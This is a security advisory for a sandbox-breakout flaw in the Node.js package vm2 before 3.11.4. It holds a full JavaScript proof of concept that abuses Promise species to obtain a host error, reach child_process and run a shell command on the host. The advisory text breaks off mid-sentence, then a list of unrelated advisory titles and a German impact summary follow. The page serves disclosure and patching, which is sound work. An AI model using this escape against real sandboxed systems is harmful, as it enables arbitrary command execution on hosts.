vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.

Affected: npm: vm2

### Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

### Details

The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox.

### PoC

```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ```

### Impact

Attackers can perform Remot…

shell-quote: shell-quote: Arbitrary code execution via command injection due to unescaped line terminators json-2-csv: json-2-csv: CSV Injection vulnerability allows arbitrary code execution via `preventCsvInjection` bypass. crypto/x509: golang: golang crypto/x509: Denial of Service via excessive processing of DNS SAN entries net: golang: Go net package: Denial of Service via long CNAME response in LookupCNAME net/mail: golang: Go net/mail: Denial of Service via crafted email inputs axios: Axios: HTTP Transport Hijacking via Prototype Pollution axios: Axios: Arbitrary HTTP header injection via prototype pollution axios: Node.js: Axios: Denial of Service via unbounded recursion in toFormData with deeply nested request data axios: Axios: Authentication bypass due to prototype pollution of HTTP error handling axios: Axios: NO_PROXY bypass via crafted URL axios: Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget ip-address: ip-address: Cross-site scripting via improper HTML escaping of untrusted input net/mail: golang: net/mail: Denial of Service via pathological email address parsing axios: Axios: Information disclosure of proxy credentials via HTTP redirects axios: Axios: Information disclosure of proxy credentials via redirect flows axios: Axios: Denial of Service due to unenforced request and response size limits axios: Axios: Proxy bypass via IPv4-mapped IPv6 address non-normalization axios: Axios: Man-in-the-Middle (MITM) attack via Prototype Pollution…

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren und vertrauliche Informationen offenzulegen.